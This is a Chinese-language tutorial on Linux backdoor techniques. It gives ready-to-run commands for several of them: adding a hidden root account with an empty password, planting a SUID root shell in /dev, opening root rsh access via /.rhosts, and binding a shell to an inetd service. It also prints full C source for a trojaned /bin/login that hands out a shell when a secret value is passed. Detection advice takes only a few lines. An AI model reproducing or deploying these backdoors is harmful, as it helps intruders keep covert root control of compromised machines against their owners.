Linux后門技術(shù)及實踐方法談完整版
以下的文章主要描述的是Linux后門技術(shù)及實踐方法,假如你在實際操作中遇到Linux后門技術(shù),但是你卻不知道對Linux后門技術(shù)如何正確的解決,那么以下的文章對你而言一定是良師益友。以下就是文章的主要內(nèi)容描述。
后門簡介
入侵者完全控制系統(tǒng)后,為方便下次進(jìn)入而采用的一種技術(shù)。
一般通過修改系統(tǒng)配置文件和安裝第三方后門工具來實現(xiàn)。 具有隱蔽性,能繞開系統(tǒng)日志,不易被系統(tǒng)管理員發(fā)現(xiàn)等特點。
Linux后門技術(shù)
增加超級用戶賬號
破解/嗅探用戶密碼
放置SUID Shell
rhosts + +
利用系統(tǒng)服務(wù)程序
TCP/UDP/ICMP Shell
Crontab定時任務(wù)
共享庫文件
工具包rootkit
可裝載內(nèi)核模塊(LKM)
增加超級用戶 # echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
如果系統(tǒng)不允許uid=0的用戶遠(yuǎn)程登錄,還需要增加一個普通用戶賬號。
破解/嗅探用戶密碼
獲得shadow文件后,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監(jiān)聽telnet、ftp等端口,收集用戶密碼。
放置SUID Shell # cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell
普通用戶在本機(jī)運行/dev/.rootshell,即可獲得一個root權(quán)限的shell。 rhosts + +
# echo "+ +" > /.rhosts
# rsh -l root victim.com csh -i
遠(yuǎn)程可以得到一個rootshell。
利用系統(tǒng)服務(wù)程序
修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替換in.telnetd、in.rexecd等inted的服務(wù)程序
重定向login程序
TCP/UDP/ICMP Shell
BindShell,大部分是基于TCP/UDP協(xié)議的網(wǎng)絡(luò)服務(wù)程序,在高端口監(jiān)聽,很容易被發(fā)現(xiàn)。Ping Backdoor,通過ICMP包激活后門,形成一個Shell通道。
TCP ACK數(shù)據(jù)包后門,能夠穿越防火墻。
Crontab定時任務(wù)
Linux后門技術(shù)中通過Crontab程序調(diào)度已安裝的后門程序定時運行,一般在深夜時段,是系統(tǒng)管理員不在線的時間。
共享庫文件
在共享庫中嵌入后門函數(shù)使用后門口令激活Shell,獲得權(quán)限能夠躲避系統(tǒng)管理員對二進(jìn)制文件本身的校驗
工具包rootkit
包含一系列系統(tǒng)及后門工具:
清除日志中的登錄記錄
偽裝校驗和
替換netstat、ps等網(wǎng)絡(luò)工具
后門登錄程序易于安裝和使用
可裝載內(nèi)核模塊(LKM)
LKM:Loadable Kernel Modules 動態(tài)的加載,不需要重新編譯內(nèi)核。
截獲系統(tǒng)調(diào)用,具有隱藏目錄、文件、進(jìn)程、網(wǎng)絡(luò)連接等強大功能。
自身隱蔽性好,發(fā)現(xiàn)難度較大。
著名的LKM包有adore和knark。
后門的檢測
以自己的經(jīng)驗,結(jié)合特定的工具,手工作一些檢測。
使用Tripwire或md5校驗來檢查系統(tǒng)。
借助IDS系統(tǒng),監(jiān)聽到目標(biāo)機(jī)器的可疑網(wǎng)絡(luò)連接。
實例:login后門
入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進(jìn)來的時候,通過環(huán)境變量或者終端類型
傳遞了正確的后門密碼,將直接獲得一個Shell;如果是普通用戶登錄,將會重定向到原始的login文件,來處理正常的登錄。
最簡單的login后門ulogin.c源代碼如下:
實例:login后門 #include
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) {
system("/bin/csh");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
以上的相關(guān)內(nèi)容就是對Linux后門技術(shù)及實踐方法談完整版的介紹,望你能有所收獲。